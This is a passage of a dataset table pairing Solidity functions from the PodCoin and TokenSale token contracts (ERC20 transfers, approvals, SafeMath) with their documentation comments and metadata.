contract_name
stringlengths 1
61
| file_path
stringlengths 5
50.4k
| contract_address
stringlengths 42
42
| language
stringclasses 1
value | class_name
stringlengths 1
61
| class_code
stringlengths 4
330k
| class_documentation
stringlengths 0
29.1k
| class_documentation_type
stringclasses 6
values | func_name
stringlengths 0
62
| func_code
stringlengths 1
303k
| func_documentation
stringlengths 2
14.9k
| func_documentation_type
stringclasses 4
values | compiler_version
stringlengths 15
42
| license_type
stringclasses 14
values | swarm_source
stringlengths 0
71
| meta
dict | __index_level_0__
int64 0
60.4k
|
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
PodCoin | PodCoin.sol | 0x62191e09fa1f0ebcad7e10dab011c2393d7315aa | Solidity | Token | contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} | // ☯ P o d C o i n
//
// By Mr. 1 50 1 100
//
// Learn more at PodCoin.info | LineComment | transfer | function transfer(address _to, uint256 _value) returns (bool success) {}
| /// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not | NatSpecSingleLine | v0.4.19+commit.c4cbbb05 | bzzr://796da5a85d52696efa0568b78d573a1578158bf6685c7a65d0b5ec5ae940a600 | {
"func_code_index": [
546,
623
]
} | 59,861 |
|
PodCoin | PodCoin.sol | 0x62191e09fa1f0ebcad7e10dab011c2393d7315aa | Solidity | Token | contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} | // ☯ P o d C o i n
//
// By Mr. 1 50 1 100
//
// Learn more at PodCoin.info | LineComment | transferFrom | function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
| /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not | NatSpecSingleLine | v0.4.19+commit.c4cbbb05 | bzzr://796da5a85d52696efa0568b78d573a1578158bf6685c7a65d0b5ec5ae940a600 | {
"func_code_index": [
946,
1042
]
} | 59,862 |
|
PodCoin | PodCoin.sol | 0x62191e09fa1f0ebcad7e10dab011c2393d7315aa | Solidity | Token | contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} | // ☯ P o d C o i n
//
// By Mr. 1 50 1 100
//
// Learn more at PodCoin.info | LineComment | approve | function approve(address _spender, uint256 _value) returns (bool success) {}
| /// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not | NatSpecSingleLine | v0.4.19+commit.c4cbbb05 | bzzr://796da5a85d52696efa0568b78d573a1578158bf6685c7a65d0b5ec5ae940a600 | {
"func_code_index": [
1326,
1407
]
} | 59,863 |
|
PodCoin | PodCoin.sol | 0x62191e09fa1f0ebcad7e10dab011c2393d7315aa | Solidity | Token | contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} | // ☯ P o d C o i n
//
// By Mr. 1 50 1 100
//
// Learn more at PodCoin.info | LineComment | allowance | function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
| /// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent | NatSpecSingleLine | v0.4.19+commit.c4cbbb05 | bzzr://796da5a85d52696efa0568b78d573a1578158bf6685c7a65d0b5ec5ae940a600 | {
"func_code_index": [
1615,
1712
]
} | 59,864 |
|
PodCoin | PodCoin.sol | 0x62191e09fa1f0ebcad7e10dab011c2393d7315aa | Solidity | PodCoin | contract PodCoin is StandardToken {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
address public fundsWallet;
function PodCoin() {
balances[msg.sender] = 10000000000000000000000000;
totalSupply = 10000000000000000000000000;
name = "PodCoin";
decimals = 18;
symbol = "P☯D";
fundsWallet = msg.sender;
}
/*This function just serves to answer requests for P☯D, not actual payment.*/
function() payable{
if (balances[fundsWallet] < amount) {
return;
}
uint256 amount = 0;
//Set 10,000 sent to requester unless they have any PodCoin Already
if(balances[msg.sender] == 0){
amount = 10000000000000000000000;
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
}
Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | function() payable{
if (balances[fundsWallet] < amount) {
return;
}
uint256 amount = 0;
//Set 10,000 sent to requester unless they have any PodCoin Already
if(balances[msg.sender] == 0){
amount = 10000000000000000000000;
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
}
Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain
}
| /*This function just serves to answer requests for P☯D, not actual payment.*/ | Comment | v0.4.19+commit.c4cbbb05 | bzzr://796da5a85d52696efa0568b78d573a1578158bf6685c7a65d0b5ec5ae940a600 | {
"func_code_index": [
838,
1432
]
} | 59,865 |
||||
PodCoin | PodCoin.sol | 0x62191e09fa1f0ebcad7e10dab011c2393d7315aa | Solidity | PodCoin | contract PodCoin is StandardToken {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
address public fundsWallet;
function PodCoin() {
balances[msg.sender] = 10000000000000000000000000;
totalSupply = 10000000000000000000000000;
name = "PodCoin";
decimals = 18;
symbol = "P☯D";
fundsWallet = msg.sender;
}
/*This function just serves to answer requests for P☯D, not actual payment.*/
function() payable{
if (balances[fundsWallet] < amount) {
return;
}
uint256 amount = 0;
//Set 10,000 sent to requester unless they have any PodCoin Already
if(balances[msg.sender] == 0){
amount = 10000000000000000000000;
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
}
Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | approveAndCall | function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
| /* Approves and then calls the receiving contract */ | Comment | v0.4.19+commit.c4cbbb05 | bzzr://796da5a85d52696efa0568b78d573a1578158bf6685c7a65d0b5ec5ae940a600 | {
"func_code_index": [
1495,
1879
]
} | 59,866 |
|||
TokenSale | TokenSale.sol | 0xb8d8496a49fc00c8fc42e1d8822ea15d33b7c2ae | Solidity | SafeMath | library SafeMath {
/// @dev Multiplies a times b
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a * b;
require(a == 0 || c / a == b);
return c;
}
/// @dev Divides a by b
function div(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
// require(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// require(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/// @dev Subtracts a from b
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a);
return a - b;
}
/// @dev Adds a to b
function add(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a + b;
require(c >= a);
return c;
}
} | /// @title SafeMath
/// @dev Math operations with safety checks that throw on error | NatSpecSingleLine | mul | function mul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a * b;
require(a == 0 || c / a == b);
return c;
}
| /// @dev Multiplies a times b | NatSpecSingleLine | v0.4.18+commit.9cf6e910 | bzzr://0692760ec1db61591d22a91dffec166a0b6a1575b73970edbeb3a305571151bf | {
"func_code_index": [
55,
245
]
} | 59,867 |
|
TokenSale | TokenSale.sol | 0xb8d8496a49fc00c8fc42e1d8822ea15d33b7c2ae | Solidity | SafeMath | library SafeMath {
/// @dev Multiplies a times b
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a * b;
require(a == 0 || c / a == b);
return c;
}
/// @dev Divides a by b
function div(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
// require(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// require(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/// @dev Subtracts a from b
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a);
return a - b;
}
/// @dev Adds a to b
function add(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a + b;
require(c >= a);
return c;
}
} | /// @title SafeMath
/// @dev Math operations with safety checks that throw on error | NatSpecSingleLine | div | function div(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
// require(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// require(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
| /// @dev Divides a by b | NatSpecSingleLine | v0.4.18+commit.9cf6e910 | bzzr://0692760ec1db61591d22a91dffec166a0b6a1575b73970edbeb3a305571151bf | {
"func_code_index": [
277,
595
]
} | 59,868 |
|
TokenSale | TokenSale.sol | 0xb8d8496a49fc00c8fc42e1d8822ea15d33b7c2ae | Solidity | SafeMath | library SafeMath {
/// @dev Multiplies a times b
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a * b;
require(a == 0 || c / a == b);
return c;
}
/// @dev Divides a by b
function div(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
// require(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// require(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/// @dev Subtracts a from b
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a);
return a - b;
}
/// @dev Adds a to b
function add(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a + b;
require(c >= a);
return c;
}
} | /// @title SafeMath
/// @dev Math operations with safety checks that throw on error | NatSpecSingleLine | sub | function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a);
return a - b;
}
| /// @dev Subtracts a from b | NatSpecSingleLine | v0.4.18+commit.9cf6e910 | bzzr://0692760ec1db61591d22a91dffec166a0b6a1575b73970edbeb3a305571151bf | {
"func_code_index": [
631,
783
]
} | 59,869 |
|
TokenSale | TokenSale.sol | 0xb8d8496a49fc00c8fc42e1d8822ea15d33b7c2ae | Solidity | SafeMath | library SafeMath {
/// @dev Multiplies a times b
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a * b;
require(a == 0 || c / a == b);
return c;
}
/// @dev Divides a by b
function div(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
// require(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// require(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/// @dev Subtracts a from b
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a);
return a - b;
}
/// @dev Adds a to b
function add(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a + b;
require(c >= a);
return c;
}
} | /// @title SafeMath
/// @dev Math operations with safety checks that throw on error | NatSpecSingleLine | add | function add(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a + b;
require(c >= a);
return c;
}
| /// @dev Adds a to b | NatSpecSingleLine | v0.4.18+commit.9cf6e910 | bzzr://0692760ec1db61591d22a91dffec166a0b6a1575b73970edbeb3a305571151bf | {
"func_code_index": [
812,
988
]
} | 59,870 |
|
TokenSale | TokenSale.sol | 0xb8d8496a49fc00c8fc42e1d8822ea15d33b7c2ae | Solidity | Token | contract Token {
/*
* Events
*/
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
/*
* Public functions
*/
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function balanceOf(address owner) public constant returns (uint256);
function allowance(address owner, address spender) public constant returns (uint256);
uint256 public totalSupply;
} | /// Implements ERC 20 Token standard: https://github.com/ethereum/EIPs/issues/20
/// @title Abstract token contract - Functions to be implemented by token contracts | NatSpecSingleLine | transfer | function transfer(address to, uint256 value) public returns (bool);
| /*
* Public functions
*/ | Comment | v0.4.18+commit.9cf6e910 | bzzr://0692760ec1db61591d22a91dffec166a0b6a1575b73970edbeb3a305571151bf | {
"func_code_index": [
256,
328
]
} | 59,871 |
|
TokenSale | TokenSale.sol | 0xb8d8496a49fc00c8fc42e1d8822ea15d33b7c2ae | Solidity | StandardToken | contract StandardToken is Token {
using SafeMath for uint256;
/*
* Storage
*/
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowances;
uint256 public totalSupply;
/*
* Public functions
*/
/// @dev Transfers sender's tokens to a given address. Returns success
/// @param to Address of token receiver
/// @param value Number of tokens to transfer
/// @return Returns success of function call
function transfer(address to, uint256 value)
public
returns (bool)
{
require(to != address(0));
require(value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
Transfer(msg.sender, to, value);
return true;
}
/// @dev Allows allowances third party to transfer tokens from one address to another. Returns success
/// @param from Address from where tokens are withdrawn
/// @param to Address to where tokens are sent
/// @param value Number of tokens to transfer
/// @return Returns success of function call
function transferFrom(address from, address to, uint256 value)
public
returns (bool)
{
// if (balances[from] < value || allowances[from][msg.sender] < value)
// // Balance or allowance too low
// revert();
require(to != address(0));
require(value <= balances[from]);
require(value <= allowances[from][msg.sender]);
balances[to] = balances[to].add(value);
balances[from] = balances[from].sub(value);
allowances[from][msg.sender] = allowances[from][msg.sender].sub(value);
Transfer(from, to, value);
return true;
}
/// @dev Sets approved amount of tokens for spender. Returns success
/// @param _spender Address of allowances account
/// @param value Number of approved tokens
/// @return Returns success of function call
function approve(address _spender, uint256 value)
public
returns (bool success)
{
require((value == 0) || (allowances[msg.sender][_spender] == 0));
allowances[msg.sender][_spender] = value;
Approval(msg.sender, _spender, value);
return true;
}
/**
* approve should be called when allowances[_spender] == 0. To increment
* allowances value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue)
public
returns (bool)
{
allowances[msg.sender][_spender] = allowances[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowances[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue)
public
returns (bool)
{
uint oldValue = allowances[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowances[msg.sender][_spender] = 0;
} else {
allowances[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowances[msg.sender][_spender]);
return true;
}
/// @dev Returns number of allowances tokens for given address
/// @param _owner Address of token owner
/// @param _spender Address of token spender
/// @return Returns remaining allowance for spender
function allowance(address _owner, address _spender)
public
constant
returns (uint256)
{
return allowances[_owner][_spender];
}
/// @dev Returns number of tokens owned by given address
/// @param _owner Address of token owner
/// @return Returns balance of owner
function balanceOf(address _owner)
public
constant
returns (uint256)
{
return balances[_owner];
}
} | /// @title Standard token contract - Standard token interface implementation | NatSpecSingleLine | transfer | function transfer(address to, uint256 value)
public
returns (bool)
{
require(to != address(0));
require(value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
Transfer(msg.sender, to, value);
return true;
}
| /// @dev Transfers sender's tokens to a given address. Returns success
/// @param to Address of token receiver
/// @param value Number of tokens to transfer
/// @return Returns success of function call | NatSpecSingleLine | v0.4.18+commit.9cf6e910 | bzzr://0692760ec1db61591d22a91dffec166a0b6a1575b73970edbeb3a305571151bf | {
"func_code_index": [
525,
891
]
} | 59,872 |
|
TokenSale | TokenSale.sol | 0xb8d8496a49fc00c8fc42e1d8822ea15d33b7c2ae | Solidity | StandardToken | contract StandardToken is Token {
using SafeMath for uint256;
/*
* Storage
*/
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowances;
uint256 public totalSupply;
/*
* Public functions
*/
/// @dev Transfers sender's tokens to a given address. Returns success
/// @param to Address of token receiver
/// @param value Number of tokens to transfer
/// @return Returns success of function call
function transfer(address to, uint256 value)
public
returns (bool)
{
require(to != address(0));
require(value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
Transfer(msg.sender, to, value);
return true;
}
/// @dev Allows allowances third party to transfer tokens from one address to another. Returns success
/// @param from Address from where tokens are withdrawn
/// @param to Address to where tokens are sent
/// @param value Number of tokens to transfer
/// @return Returns success of function call
function transferFrom(address from, address to, uint256 value)
public
returns (bool)
{
// if (balances[from] < value || allowances[from][msg.sender] < value)
// // Balance or allowance too low
// revert();
require(to != address(0));
require(value <= balances[from]);
require(value <= allowances[from][msg.sender]);
balances[to] = balances[to].add(value);
balances[from] = balances[from].sub(value);
allowances[from][msg.sender] = allowances[from][msg.sender].sub(value);
Transfer(from, to, value);
return true;
}
/// @dev Sets approved amount of tokens for spender. Returns success
/// @param _spender Address of allowances account
/// @param value Number of approved tokens
/// @return Returns success of function call
function approve(address _spender, uint256 value)
public
returns (bool success)
{
require((value == 0) || (allowances[msg.sender][_spender] == 0));
allowances[msg.sender][_spender] = value;
Approval(msg.sender, _spender, value);
return true;
}
/**
* approve should be called when allowances[_spender] == 0. To increment
* allowances value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue)
public
returns (bool)
{
allowances[msg.sender][_spender] = allowances[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowances[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue)
public
returns (bool)
{
uint oldValue = allowances[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowances[msg.sender][_spender] = 0;
} else {
allowances[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowances[msg.sender][_spender]);
return true;
}
/// @dev Returns number of allowances tokens for given address
/// @param _owner Address of token owner
/// @param _spender Address of token spender
/// @return Returns remaining allowance for spender
function allowance(address _owner, address _spender)
public
constant
returns (uint256)
{
return allowances[_owner][_spender];
}
/// @dev Returns number of tokens owned by given address
/// @param _owner Address of token owner
/// @return Returns balance of owner
function balanceOf(address _owner)
public
constant
returns (uint256)
{
return balances[_owner];
}
} | /// @title Standard token contract - Standard token interface implementation | NatSpecSingleLine | transferFrom | function transferFrom(address from, address to, uint256 value)
public
returns (bool)
{
// if (balances[from] < value || allowances[from][msg.sender] < value)
// // Balance or allowance too low
// revert();
require(to != address(0));
require(value <= balances[from]);
require(value <= allowances[from][msg.sender]);
balances[to] = balances[to].add(value);
balances[from] = balances[from].sub(value);
allowances[from][msg.sender] = allowances[from][msg.sender].sub(value);
Transfer(from, to, value);
return true;
}
| /// @dev Allows allowances third party to transfer tokens from one address to another. Returns success
/// @param from Address from where tokens are withdrawn
/// @param to Address to where tokens are sent
/// @param value Number of tokens to transfer
/// @return Returns success of function call | NatSpecSingleLine | v0.4.18+commit.9cf6e910 | bzzr://0692760ec1db61591d22a91dffec166a0b6a1575b73970edbeb3a305571151bf | {
"func_code_index": [
1216,
1868
]
} | 59,873 |
|
TokenSale | TokenSale.sol | 0xb8d8496a49fc00c8fc42e1d8822ea15d33b7c2ae | Solidity | StandardToken | contract StandardToken is Token {
using SafeMath for uint256;
/*
* Storage
*/
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowances;
uint256 public totalSupply;
/*
* Public functions
*/
/// @dev Transfers sender's tokens to a given address. Returns success
/// @param to Address of token receiver
/// @param value Number of tokens to transfer
/// @return Returns success of function call
function transfer(address to, uint256 value)
public
returns (bool)
{
require(to != address(0));
require(value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
Transfer(msg.sender, to, value);
return true;
}
/// @dev Allows allowances third party to transfer tokens from one address to another. Returns success
/// @param from Address from where tokens are withdrawn
/// @param to Address to where tokens are sent
/// @param value Number of tokens to transfer
/// @return Returns success of function call
function transferFrom(address from, address to, uint256 value)
public
returns (bool)
{
// if (balances[from] < value || allowances[from][msg.sender] < value)
// // Balance or allowance too low
// revert();
require(to != address(0));
require(value <= balances[from]);
require(value <= allowances[from][msg.sender]);
balances[to] = balances[to].add(value);
balances[from] = balances[from].sub(value);
allowances[from][msg.sender] = allowances[from][msg.sender].sub(value);
Transfer(from, to, value);
return true;
}
/// @dev Sets approved amount of tokens for spender. Returns success
/// @param _spender Address of allowances account
/// @param value Number of approved tokens
/// @return Returns success of function call
function approve(address _spender, uint256 value)
public
returns (bool success)
{
require((value == 0) || (allowances[msg.sender][_spender] == 0));
allowances[msg.sender][_spender] = value;
Approval(msg.sender, _spender, value);
return true;
}
/**
* approve should be called when allowances[_spender] == 0. To increment
* allowances value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue)
public
returns (bool)
{
allowances[msg.sender][_spender] = allowances[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowances[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue)
public
returns (bool)
{
uint oldValue = allowances[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowances[msg.sender][_spender] = 0;
} else {
allowances[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowances[msg.sender][_spender]);
return true;
}
/// @dev Returns number of allowances tokens for given address
/// @param _owner Address of token owner
/// @param _spender Address of token spender
/// @return Returns remaining allowance for spender
function allowance(address _owner, address _spender)
public
constant
returns (uint256)
{
return allowances[_owner][_spender];
}
/// @dev Returns number of tokens owned by given address
/// @param _owner Address of token owner
/// @return Returns balance of owner
function balanceOf(address _owner)
public
constant
returns (uint256)
{
return balances[_owner];
}
} | /// @title Standard token contract - Standard token interface implementation | NatSpecSingleLine | approve | function approve(address _spender, uint256 value)
public
returns (bool success)
{
require((value == 0) || (allowances[msg.sender][_spender] == 0));
allowances[msg.sender][_spender] = value;
Approval(msg.sender, _spender, value);
return true;
}
| /// @dev Sets approved amount of tokens for spender. Returns success
/// @param _spender Address of allowances account
/// @param value Number of approved tokens
/// @return Returns success of function call | NatSpecSingleLine | v0.4.18+commit.9cf6e910 | bzzr://0692760ec1db61591d22a91dffec166a0b6a1575b73970edbeb3a305571151bf | {
"func_code_index": [
2098,
2410
]
} | 59,874 |
|
TokenSale | TokenSale.sol | 0xb8d8496a49fc00c8fc42e1d8822ea15d33b7c2ae | Solidity | StandardToken | contract StandardToken is Token {
using SafeMath for uint256;
/*
* Storage
*/
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowances;
uint256 public totalSupply;
/*
* Public functions
*/
/// @dev Transfers sender's tokens to a given address. Returns success
/// @param to Address of token receiver
/// @param value Number of tokens to transfer
/// @return Returns success of function call
function transfer(address to, uint256 value)
public
returns (bool)
{
require(to != address(0));
require(value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
Transfer(msg.sender, to, value);
return true;
}
/// @dev Allows allowances third party to transfer tokens from one address to another. Returns success
/// @param from Address from where tokens are withdrawn
/// @param to Address to where tokens are sent
/// @param value Number of tokens to transfer
/// @return Returns success of function call
function transferFrom(address from, address to, uint256 value)
public
returns (bool)
{
// if (balances[from] < value || allowances[from][msg.sender] < value)
// // Balance or allowance too low
// revert();
require(to != address(0));
require(value <= balances[from]);
require(value <= allowances[from][msg.sender]);
balances[to] = balances[to].add(value);
balances[from] = balances[from].sub(value);
allowances[from][msg.sender] = allowances[from][msg.sender].sub(value);
Transfer(from, to, value);
return true;
}
/// @dev Sets approved amount of tokens for spender. Returns success
/// @param _spender Address of allowances account
/// @param value Number of approved tokens
/// @return Returns success of function call
function approve(address _spender, uint256 value)
public
returns (bool success)
{
require((value == 0) || (allowances[msg.sender][_spender] == 0));
allowances[msg.sender][_spender] = value;
Approval(msg.sender, _spender, value);
return true;
}
/**
* approve should be called when allowances[_spender] == 0. To increment
* allowances value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue)
public
returns (bool)
{
allowances[msg.sender][_spender] = allowances[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowances[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue)
public
returns (bool)
{
uint oldValue = allowances[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowances[msg.sender][_spender] = 0;
} else {
allowances[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowances[msg.sender][_spender]);
return true;
}
/// @dev Returns number of allowances tokens for given address
/// @param _owner Address of token owner
